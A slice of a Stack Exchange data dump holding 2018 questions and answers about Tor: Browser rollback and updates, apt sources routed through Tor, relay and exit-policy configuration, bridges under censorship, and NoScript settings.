  <row Id="17756" PostTypeId="2" ParentId="17690" CreationDate="2018-09-12T12:03:33.087" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;Delete 8.0&lt;/li&gt;&#xA;&lt;li&gt;Reinstall 7.5.6&lt;/li&gt;&#xA;&lt;li&gt;Do NOT launch TOR&lt;/li&gt;&#xA;&lt;li&gt;Go to the directory where TOR is installed (browser, TOR, etc)&lt;/li&gt;&#xA;&lt;li&gt;Cut updater.exe from directory &lt;/li&gt;&#xA;&lt;li&gt;Rename updater.exe to something like updaterexe.old&lt;/li&gt;&#xA;&lt;li&gt;Is the only way to prevent auto updates from occurring&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="23056" LastActivityDate="2018-09-12T12:03:33.087" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17758" PostTypeId="1" CreationDate="2018-09-12T16:31:12.657" Score="0" ViewCount="520" Body="&lt;p&gt;I'm new to TOR and mistakingly fiddled with the proxy settings, now I am unable to establish a connection to TOR. This is the message shown:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;9/12/18, 16:09:54.536 [WARN] You specified a public address '203.168.53.32:37527' for SocksPort. Other people on the Internet might find your computer and use it as an open proxy. Please don't allow this unless you have a good reason. &#xA;9/12/18, 16:09:54.537 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &lt;/p&gt;&#xA;" OwnerDisplayName="user23060" LastActivityDate="2021-12-29T00:03:25.307" Title="Proxy problems - New to TOR" Tags="|tor-browser-bundle|proxy|torsocks|settings|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17759" PostTypeId="2" ParentId="17758" CreationDate="2018-09-13T05:30:19.483" Score="0" Body="&lt;p&gt;If you are using Tor Browser Bundle, you can simply re-download to a new location (or write over the existing location) and all settings will return to default.&lt;/p&gt;&#xA;" OwnerUserId="22577" LastActivityDate="2018-09-13T05:30:19.483" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17760" PostTypeId="2" ParentId="17755" CreationDate="2018-09-13T05:34:18.713" Score="2" Body="&lt;p&gt;Same Tor underneath, TBB just has the browser bundled on top of the Tor connection whereas expert is just the connection with no browser. They both path through the network exactly the same way (so that you can't tell them apart, which is the whole point of Tor, to make us all look the same). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would imagine any difference between the two is either coincidence or only perceived. &lt;/p&gt;&#xA;" OwnerUserId="22577" LastActivityDate="2018-09-13T05:34:18.713" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17761" PostTypeId="1" CreationDate="2018-09-13T08:56:05.170" Score="0" ViewCount="2192" Body="&lt;p&gt;Tor not working with IDM extension - 13 Sep 2018 - previously Tor was running smoothly with IDM installed, i updated both Tor and IDM to date, now tor runs in background (task manager) but not upfront, it runs without the IDM extension, i have win10 Pro and NPAV antivirus, can't figure out the problem is in TOR, IDM or Antivirus, how do i fix this ?&lt;/p&gt;&#xA;" OwnerUserId="23067" LastActivityDate="2022-04-01T14:04:55.540" Title="Tor not working with IDM extension - 13 Sep 2018" Tags="|error|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17763" PostTypeId="1" CreationDate="2018-09-13T23:07:48.877" Score="0" ViewCount="591" Body="&lt;p&gt;Last night I installed tor and now i want to delete it and install some new package. I am getting the following error. How do i fix this please help.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install mysql-server       &#xA;Reading package lists... Done&#xA;Building dependency tree       &#xA;Reading state information... Done&#xA;The following additional packages will be installed:&#xA;libevent-core-2.1-6 libhtml-template-perl mysql-server-5.7 mysql-server-core-5.7&#xA;Suggested packages:&#xA;libipc-sharedcache-perl mailx tinyca&#xA;The following NEW packages will be installed:&#xA;libevent-core-2.1-6 libhtml-template-perl mysql-server mysql-server-5.7 mysql-server-core-5.7&#xA;0 upgraded, 5 newly installed, 0 to remove and 81 not upgraded.&#xA;Need to get 11.1 MB of archives.&#xA;After this operation, 95.2 MB of additional disk space will be used.&#xA;Do you want to continue? [Y/n] y&#xA;Ign:1 tor+http://in.archive.ubuntu.com/ubuntu bionic-updates/main amd64 mysql-server-core-5.7 amd64 5.7.23-0ubuntu0.18.04.1&#xA;Err:2 tor+http://in.archive.ubuntu.com/ubuntu bionic/main amd64 libevent-core-2.1-6 amd64 2.1.8-stable-4build1&#xA;Unable to connect to localhost:9050:&#xA;Ign:3 tor+http://in.archive.ubuntu.com/ubuntu bionic-updates/main amd64 mysql-server-5.7 amd64 5.7.23-0ubuntu0.18.04.1&#xA;Ign:4 tor+http://in.archive.ubuntu.com/ubuntu bionic/main amd64 libhtml-template-perl all 2.97-1&#xA;Ign:5 tor+http://in.archive.ubuntu.com/ubuntu bionic-updates/main amd64 mysql-server all 5.7.23-0ubuntu0.18.04.1&#xA;Err:4 tor+http://in.archive.ubuntu.com/ubuntu bionic/main amd64 libhtml-template-perl all 2.97-1&#xA;Unable to connect to localhost:9050:&#xA;Ign:5 tor+http://in.archive.ubuntu.com/ubuntu bionic-updates/main amd64 mysql-server all 5.7.23-0ubuntu0.18.04.1&#xA;Err:1 tor+http://security.ubuntu.com/ubuntu bionic-updates/main amd64 mysql-server-core-5.7 amd64 5.7.23-0ubuntu0.18.04.1&#xA;Could not connect to localhost:9050 (127.0.0.1). - connect (111: Connection refused)&#xA;Err:3 tor+http://security.ubuntu.com/ubuntu bionic-updates/main amd64 mysql-server-5.7 amd64 5.7.23-0ubuntu0.18.04.1&#xA;Unable to connect to localhost:9050:&#xA;Ign:5 tor+http://security.ubuntu.com/ubuntu bionic-updates/main amd64 mysql-server all 5.7.23-0ubuntu0.18.04.1&#xA;Err:5 tor+http://security.ubuntu.com/ubuntu bionic-updates/main amd64 mysql-server all 5.7.23-0ubuntu0.18.04.1&#xA;Unable to connect to localhost:9050:&#xA;E: Failed to fetch tor+http://security.ubuntu.com/ubuntu/pool/main/m/mysql-5.7/mysql-server-core-5.7_5.7.23-0ubuntu0.18.04.1_amd64.deb  Could not connect to localhost:9050 (127.0.0.1). - connect (111: Connection refused)&#xA;E: Failed to fetch tor+http://in.archive.ubuntu.com/ubuntu/pool/main/libe/libevent/libevent-core-2.1-6_2.1.8-stable-4build1_amd64.deb  Unable to connect to localhost:9050:&#xA;E: Failed to fetch tor+http://security.ubuntu.com/ubuntu/pool/main/m/mysql-5.7/mysql-server-5.7_5.7.23-0ubuntu0.18.04.1_amd64.deb  Unable to connect to localhost:9050:&#xA;E: Failed to fetch tor+http://in.archive.ubuntu.com/ubuntu/pool/main/libh/libhtml-template-perl/libhtml-template-perl_2.97-1_all.deb  Unable to connect to localhost:9050:&#xA;E: Failed to fetch tor+http://security.ubuntu.com/ubuntu/pool/main/m/mysql-5.7/mysql-server_5.7.23-0ubuntu0.18.04.1_all.deb  Unable to connect to localhost:9050:&#xA;E: Unable to fetch some archives, maybe run apt-get update or try with --fix-missing?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i did tried some other settings as well as shown &lt;a href=&quot;https://unix.stackexchange.com/questions/414962/curl-tries-to-connect-to-127-0-0-19050-by-default&quot;&gt;here&lt;/a&gt;. I just wanna delete tor fully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="23071" LastEditorUserId="23071" LastEditDate="2018-09-13T23:20:49.187" LastActivityDate="2022-03-27T07:03:05.400" Title="Help to remove tor" Tags="|tor-browser-bundle|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17764" PostTypeId="2" ParentId="17763" CreationDate="2018-09-13T23:26:40.037" Score="0" Body="&lt;p&gt;To fix this issue u need to remove all the &lt;code&gt;tor+&lt;/code&gt; from every URL shown in &lt;code&gt;cat /etc/apt/sources.list&lt;/code&gt; Then you will be good to go after &lt;code&gt;sudo apt-get update&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="23071" LastActivityDate="2018-09-13T23:26:40.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17769" PostTypeId="2" ParentId="17121" CreationDate="2018-09-15T06:50:21.827" Score="1" Body="&lt;p&gt;Not possible yet. &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/262-rekey-circuits.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Proposal 262&lt;/a&gt; is still open and there is no other rekey mechanism.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2018-09-15T06:50:21.827" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17771" PostTypeId="1" CreationDate="2018-09-15T14:00:23.633" Score="0" ViewCount="177" Body="&lt;p&gt;I do have access to the Tor network from a university in Europe. In order to be able to connect  internet, we must first configure the connection with a proxy (the university is the the ISP), so have to provide for IPv4 an Address, a Netmask, a Gateway, a DNS. There was no data provided for IPv6, but when “Details” are checked, there is one (I suppose it came  automatically). Every works fine with that connection for ordinary (non Tor based) internet browsing.&lt;/p&gt;&#xA;&lt;p&gt;In the past (few years ago), I was still using Windows 7 and did run several the TBB, connected directly to Tor, but for reasons of discretion, the obfs4 bridges were used most of the time. Some 2 years ago, Windows was abandoned for Linux (still in use), more precisely currently using the latest version of Linux Mint (Cinnamon, 64 bit).&lt;/p&gt;&#xA;&lt;p&gt;The problem is the following: when trying to connect directly to the Tor network, the browser will not be able to make a connection (it keeps on trying to establish a connection, then fails). In the past, with older version of this Linux distro (17.2, 17.3), similar problems encountered, although it could be solved with the use of bridges, at least obfs4, obfs3 and meek. Now the problem is that even obfs4 and obfs3 do not work, only meek (but is pretty slow), so bridges have to be requested (not a problem with the latest version of the TBB, great stuff by the way !) and it works fine. Yet, it would be still better if obfs4 could be used (= more users).&lt;/p&gt;&#xA;&lt;p&gt;The big issue is that I am not even sure that the problem comes from the ISP trying to block the access to Tor or simply from something wrong on my side (a port problem or whatever). As said above, the university is in Europe (not in a country run by a dictator) and I don’t think they would have a reason to block Tor (they just use simple key words based filtering system to prevent students to surf on clearnet porn sites and the like, but using a VPN is not a problem to circumvent the filter for instance), so I get the feeling that the problem is rather on my side but I have no idea how to find out. Is there a script, a command line, a test, an application that could be determine the origin of the problem, and eventually finding out if the issue is from them or from my settings.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and possibly providing guidance or testings.&lt;/p&gt;&#xA;" OwnerUserId="23084" LastEditorUserId="31632" LastEditDate="2021-06-10T13:25:51.797" LastActivityDate="2022-03-07T15:02:15.170" Title="Tor Blocked: How to Know Its Origin?" Tags="|bridge|blocked|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17774" PostTypeId="1" CreationDate="2018-09-15T20:29:22.143" Score="0" ViewCount="1771" Body="&lt;p&gt;I am using windows xp and can't download Tor after numerous problems with Tor 7.5.6 Now after deleting tor and trying to reload it no luck. I am very technology  challenged so any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="23089" LastActivityDate="2019-05-06T19:55:44.880" Title="Still using windpws xp" Tags="|windows|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17775" PostTypeId="2" ParentId="17771" CreationDate="2018-09-16T03:13:07.413" Score="0" Body="&lt;p&gt;You can use &lt;a href=&quot;https://ooni.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OONI Probe&lt;/a&gt; to run a batch of censorship tests. Generally, if you can use a VPN, there is almost no chance that your local configuration is problematic. Most of the time it is TBB's built-in bridges that are blocked.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2018-09-16T03:13:07.413" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17776" PostTypeId="2" ParentId="17774" CreationDate="2018-09-16T06:13:23.277" Score="1" Body="&lt;p&gt;You REALLY should not be using Windows XP with an active internet connection. There are too many security problems that aren't getting patched. You really need to take the plunge and upgrade to any of the modern OS available (Win10, OSX or any active Linux distro). Frankly, WinXP is so unsafe right now that it kinda defeats the point of running Tor at all.&lt;/p&gt;&#xA;" OwnerUserId="22577" LastActivityDate="2018-09-16T06:13:23.277" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="17779" PostTypeId="2" ParentId="17066" CreationDate="2018-09-17T07:07:10.603" Score="4" Body="&lt;p&gt;Adding addons is not advised for several reasons. Why not using what already exist in the TBB: NoScript and Security Settings. You can block many scripts from running with those tools. &lt;/p&gt;&#xA;" OwnerUserId="23084" LastActivityDate="2018-09-17T07:07:10.603" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17780" PostTypeId="2" ParentId="13783" CreationDate="2018-09-17T07:19:28.790" Score="0" Body="&lt;p&gt;All IP addresses of nodes can be seen (entry, middle and exit), in the latest version of the TBB (8.0), you have to click on the locker icon to display them. &lt;/p&gt;&#xA;" OwnerUserId="23084" LastActivityDate="2018-09-17T07:19:28.790" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17781" PostTypeId="2" ParentId="16322" CreationDate="2018-09-17T07:25:11.590" Score="0" Body="&lt;p&gt;You may check here with some tools:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://metrics.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://metrics.torproject.org&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23084" LastActivityDate="2018-09-17T07:25:11.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17790" PostTypeId="1" CreationDate="2018-09-18T09:32:19.433" Score="0" ViewCount="97" Body="&lt;p&gt;Before setting exit relay live, do I have to setup port forwarding for 9001, as ORPort is using it if so then how I will do it on Debian Stretch 9.0.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;*Torrc file below;*&amp;lt;br&amp;gt;&#xA;&#xA;ORPort 9001&amp;lt;br&amp;gt;&#xA;DirPort 80&amp;lt;br&amp;gt;&#xA;Nickname Name&amp;lt;br&amp;gt;&#xA;RelayBandwidthRate 1024 KB&amp;lt;br&amp;gt;&#xA;RelayBandwidthBurst 1024 KB&amp;lt;br&amp;gt;&#xA;ContactInfo Name &amp;lt;Email&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;DirPortFrontPage  /./usr/share/doc/tor/tor-exit-notice.html&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&#xA;ExitPolicy accept *:20-23     # FTP, SSH, telnet&amp;lt;br&amp;gt;&#xA;ExitPolicy accept *:43        # WHOIS&amp;lt;br&amp;gt;&#xA;ExitPolicy accept *:53        # DNS&amp;lt;br&amp;gt;&#xA;ExitPolicy accept *:79-81     # finger, HTTP&amp;lt;br&amp;gt;&#xA;ExitPolicy accept *:88        # kerberos&amp;lt;br&amp;gt;&#xA;ExitPolicy accept *:110       # POP3&amp;lt;br&amp;gt;&#xA;ExitPolicy accept *:143       # IMAP&amp;lt;br&amp;gt;&#xA;ExitPolicy accept *:194       # IRC&amp;lt;br&amp;gt;&#xA;ExitPolicy accept *:220       # IMAP3&amp;lt;br&amp;gt;&#xA;ExitPolicy accept *:389       # LDAP&amp;lt;br&amp;gt;&#xA;ExitPolicy accept *:443       # HTTPS&amp;lt;br&amp;gt;&#xA;ExitPolicy accept *:464       # kpasswd&amp;lt;br&amp;gt;&#xA;ExitPolicy accept *:531       # IRC/AIM&amp;lt;br&amp;gt;&#xA;ExitPolicy accept *:543-544   # Kerberos&amp;lt;br&amp;gt;&#xA;ExitPolicy accept *:554       # RTSP&amp;lt;br&amp;gt;&#xA;ExitPolicy accept *:563       # NNTP over SSL&amp;lt;br&amp;gt;&#xA;ExitPolicy accept *:636       # LDAP over SSL&amp;lt;br&amp;gt;&#xA;ExitPolicy accept *:706       # SILC&amp;lt;br&amp;gt;&#xA;ExitPolicy accept *:749       # kerberos &#xA;ExitPolicy accept *:873       # rsync&#xA;ExitPolicy accept *:902-904   # VMware&#xA;ExitPolicy accept *:981       # Remote HTTPS management for firewall&#xA;ExitPolicy accept *:989-995   # FTP over SSL, telnets, IMAP over SSL, etc&#xA;ExitPolicy accept *:1194      # OpenVPN&#xA;ExitPolicy accept *:1220      # QT Server Admin&#xA;ExitPolicy accept *:1293      # PKT-KRB-IPSec&#xA;ExitPolicy accept *:1500      # VLSI License Manager&#xA;ExitPolicy accept *:1533      # Sametime&#xA;ExitPolicy accept *:1677      # GroupWise&#xA;ExitPolicy accept *:1723      # PPTP&#xA;ExitPolicy accept *:1755      # RTSP&#xA;ExitPolicy accept *:1863      # MSNP&#xA;ExitPolicy accept *:2082      # Infowave Mobility Server&#xA;ExitPolicy accept *:2083      # Secure Radius Service (radsec)&#xA;ExitPolicy accept *:2086-2087 # GNUnet, ELI&#xA;ExitPolicy accept *:2095-2096 # NBX&#xA;ExitPolicy accept *:2102-2104 # Zephyr&#xA;ExitPolicy accept *:3128      # SQUID&#xA;ExitPolicy accept *:3389      # MS WBT&#xA;ExitPolicy accept *:3690      # SVN&#xA;ExitPolicy accept *:4321      # RWHOIS&#xA;ExitPolicy accept *:4643      # Virtuozzo&#xA;ExitPolicy accept *:5050      # MMCC&#xA;ExitPolicy accept *:5190      # ICQ&#xA;ExitPolicy accept *:5222-5223 # XMPP, XMPP over SSL&#xA;ExitPolicy accept *:5228      # Android Market&#xA;ExitPolicy accept *:5900      # VNC&#xA;ExitPolicy accept *:6660-6669 # IRC&#xA;ExitPolicy accept *:6679      # IRC SSL  &#xA;ExitPolicy accept *:6697      # IRC SSL  &#xA;ExitPolicy accept *:8000      # iRDMI&#xA;ExitPolicy accept *:8008      # HTTP alternate&#xA;ExitPolicy accept *:8074      # Gadu-Gadu&#xA;ExitPolicy accept *:8080      # HTTP Proxies&#xA;ExitPolicy accept *:8087-8088 # Simplify Media SPP Protocol, Radan HTTP&#xA;ExitPolicy accept *:8332-8333 # BitCoin&#xA;ExitPolicy accept *:8443      # PCsync HTTPS&#xA;ExitPolicy accept *:8888      # HTTP Proxies, NewsEDGE&#xA;ExitPolicy accept *:9418      # git&#xA;ExitPolicy accept *:9999      # distinct&#xA;ExitPolicy accept *:10000     # Network Data Management Protocol&#xA;ExitPolicy accept *:11371     # OpenPGP hkp (http keyserver protocol)&#xA;ExitPolicy accept *:12350     # Skype&#xA;ExitPolicy accept *:19294     # Google Voice TCP&#xA;ExitPolicy accept *:19638     # Ensim control panel&#xA;ExitPolicy accept *:23456     # Skype&#xA;ExitPolicy accept *:33033     # Skype&#xA;ExitPolicy reject *:*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;% cat ~/.tor/torrc&#xA;ControlPort 9051&#xA;CookieAuthentication 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23117" LastEditorUserId="33891" LastEditDate="2022-01-09T17:41:50.833" LastActivityDate="2022-02-08T19:06:00.527" Title="Port forwarding on debian before setting tor exit relay live required?" Tags="|exit-relays|debian|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17792" PostTypeId="2" ParentId="17761" CreationDate="2018-09-19T09:04:27.527" Score="0" Body="&lt;p&gt;Did you installed the extension in TOR. The new update of TOR is based on  Firefox version 60.2 the old TOR used idmmzcc2.xpi of IDM (which will not work to this newer version, Try installing the idmmzcc3.xpi since it support the new version of Firefox and other browser. BTW the new update of IDM seems to be blocking (not allowing) downloads using VPN or any anonymity tools.&lt;/p&gt;&#xA;" OwnerUserId="23128" LastActivityDate="2018-09-19T09:04:27.527" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17798" PostTypeId="1" CreationDate="2018-09-20T15:09:10.900" Score="1" ViewCount="743" Body="&lt;p&gt;i need to use tor under tight DPI censorship situation.&#xA;I need to be able to hide the fact i'm using Tor both from my gvt's DPI GFW and from my ISP.&#xA;The only way for me to get Tor working is through the meek_azure bridge (as long as it lasts) or an obfs4 bridge. These supposedly wrap my SSL traffic in a http layer, right, allowing my to bypass the GFW.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now: how good this really is for hiding me using Tor?&#xA;1. how can i be sure the entry node or bridge isn't malicious ? And if it is, what information can it get ? Just my ip address ?&#xA;2. what information my ISP or GFW can get when connecting by meek or obfs4. How can i be sure they really don't know this is hiding Tor traffic?&#xA;3. if i wanted to be sure, should i use a VPN before connecting to Tor? Are there obfuscating VPNs? &#xA;4. Is there a way to obfuscate my real ip from my ISP (by spoofing)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the best settings possible for my scenario ?&lt;/p&gt;&#xA;" OwnerUserId="23141" LastActivityDate="2022-01-05T19:06:30.637" Title="malicious entry nodes &amp; obfs4 briges and DPI censorship" Tags="|tor-browser-bundle|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17800" PostTypeId="2" ParentId="17798" CreationDate="2018-09-20T22:07:50.787" Score="0" Body="&lt;p&gt;Obfs4 is pretty resistant against detecting and blocking. Of course government can run bridges and distribute them using tor project mechanisms, they will get your IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;VPN do not add additional defense against government, they simply request information from VPN provider. It can only delay action against you.&lt;/p&gt;&#xA;" OwnerUserId="22654" LastActivityDate="2018-09-20T22:07:50.787" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17801" PostTypeId="2" ParentId="17790" CreationDate="2018-09-20T22:12:19.057" Score="0" Body="&lt;p&gt;If you have public IP address you do not need setup forwarding for ORport. I have better experience with running on port 443, it is less likely blocked by corporate proxy.&lt;/p&gt;&#xA;" OwnerUserId="22654" LastActivityDate="2018-09-20T22:12:19.057" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17807" PostTypeId="2" ParentId="17798" CreationDate="2018-09-22T11:37:24.483" Score="0" Body="&lt;p&gt;GFW already knows where the obfs4 bridges are, so their IP addresses are blocked. You MIGHT be able to get Tor to work with a private obfs4 bridge, i.e., a bridge you build yourself on a VPS, and which is not listed in the bridge directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ISP and GFW see only your own IP address and your bridge or entry node. They do not know what the final destination IP address is. Also, your data sent and data received is encrypted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can never hide your own IP address from your ISP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you say, meek_azure is the last meek that still works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to get Tor through SSR to work. But in this case, you might find that SSR alone meets your needs.&lt;/p&gt;&#xA;" OwnerUserId="23160" LastActivityDate="2018-09-22T11:37:24.483" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="17809" PostTypeId="2" ParentId="17724" CreationDate="2018-09-22T17:09:04.903" Score="0" Body="&lt;p&gt;Bud 26556 fixed: &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/26556&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/ticket/26556&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I use the Tor Browser alpha on GNU/Linux having installed it with ./start-tor-browser.desktop --register-app long ago. The .desktop points to the icon being in Browser/browser/icons/mozicon128.png, but the Browser/browser/icons/ directory doesn't seem to exist anymore with the upgrade to 8.0a9.&lt;/p&gt;&#xA;&lt;p&gt;mozicon128.png can't be found anywhere in the bundle at all, and this keeps the launcher from showing the icon after the upgrade.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="23014" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2018-09-22T17:09:04.903" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17811" PostTypeId="2" ParentId="16802" CreationDate="2018-09-22T22:16:24.830" Score="0" Body="&lt;p&gt;There is no restriction option available based on region's.&lt;br&gt;&#xA;but you can specify the exact countries for the region you prefer, only for guards and exits. according to &lt;a href=&quot;http://tor%20command%20line%20options&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/tor-manual.html.en&lt;/a&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;torrc example:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;StrictNodes 1&lt;br&gt;&#xA;  EntryNodes US,CA,RU&lt;br&gt;&#xA;  ExitNodes US,CA,RU&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you are familiar with python and want more (e.x: restriction upon middle nodes as well) you can use stem api here: &lt;a href=&quot;http://stem%20library&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://stem.torproject.org/&lt;/a&gt;&lt;br&gt;&#xA;for your case below link gives you good hints of custom path selection (control over guards,middles and exit nodes) &lt;a href=&quot;http://custom%20path%20selection&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://stem.torproject.org/tutorials/to_russia_with_love.html&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;good luck.&lt;/p&gt;&#xA;" OwnerUserId="21249" LastActivityDate="2018-09-22T22:16:24.830" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17812" PostTypeId="1" AcceptedAnswerId="17820" CreationDate="2018-09-23T15:53:13.447" Score="7" ViewCount="4978" Body="&lt;p&gt;NoScript resetting to default after closing Tor Browser&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NoScript default is enabling script, object, media, frame, font, webgl, fetch, other!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can manually go to extension page and reset to true default settings which is frame, fetch, other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When close and open Tor Browser, NoScript defaults back to script, object, media, frame, font, webgl, fetch, other!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to have NoScript save settings between launch of Tor Browser?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some other info:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;upgraded from 7.x to 8.0.1&lt;/li&gt;&#xA;&lt;li&gt;using linux&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="21057" LastEditorUserId="20136" LastEditDate="2018-11-03T03:48:04.823" LastActivityDate="2019-05-28T22:37:59.613" Title="Cannot persist NoScript settings on TorBrowser 8" Tags="|tor-browser-bundle|linux|noscript|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17816" PostTypeId="1" CreationDate="2018-09-24T12:14:01.350" Score="3" ViewCount="67" Body="&lt;p&gt;While configuring a relay I made multiple tor instances ( with different nicknames and fingerprints). Now i'm in a situation that current relay i'm hosting dont't get listed at the consensus because there are other instances listed as hibernating with same ip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get those previous relays unlisted?&lt;/p&gt;&#xA;" OwnerUserId="23172" LastActivityDate="2018-10-25T01:00:23.387" Title="Is it possible to voluntarly unlist a relay from consensus?" Tags="|relays|consensus|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17817" PostTypeId="2" ParentId="17816" CreationDate="2018-09-25T00:26:23.260" Score="3" Body="&lt;p&gt;Remove the tor instances your not using so there gone and not just hibernating. There is no way to remove them your self from the consensus. They will automaticly dissapear after about a week of no activity.&lt;/p&gt;&#xA;" OwnerUserId="21788" LastActivityDate="2018-09-25T00:26:23.260" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17820" PostTypeId="2" ParentId="17812" CreationDate="2018-09-25T20:36:31.820" Score="3" Body="&lt;p&gt;This is a known issue: &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/27175&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/ticket/27175&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like the fix will be released very soon with the next update.&lt;/p&gt;&#xA;" OwnerUserId="23180" LastActivityDate="2018-09-25T20:36:31.820" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17823" PostTypeId="2" ParentId="17748" CreationDate="2018-09-26T21:57:49.160" Score="0" Body="&lt;p&gt;You can install scrapbook on Waterfox or Tor portable portable.Install Waterfox first. You will have to go hunting for the old scrapbook files. They may be in data profile scrapbook. Retrieve the file named scrapbook and put it on your desktop. Once you locate the scrapbook files which are numbered with date codes you can open them in other browsers. After you have verified these are the correct files make a copy of the scrapbook folder just in case. Then At the top of the scrapbook bar in Waterfox click tools options save data to the new scrapbook location. You may have to uninstall the old Tor to get portable Tor working. This is not going to be fun some one has went to war with scrapbook. There will be script errors you will have to click continue on and the scrapbook information will stay on top blocking out other open windows until the process finishes. I recommend once you get Waterfox or Tor working like you want it make multiple copies of the program and store them elsewhere. &lt;/p&gt;&#xA;" OwnerUserId="23189" LastActivityDate="2018-09-26T21:57:49.160" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
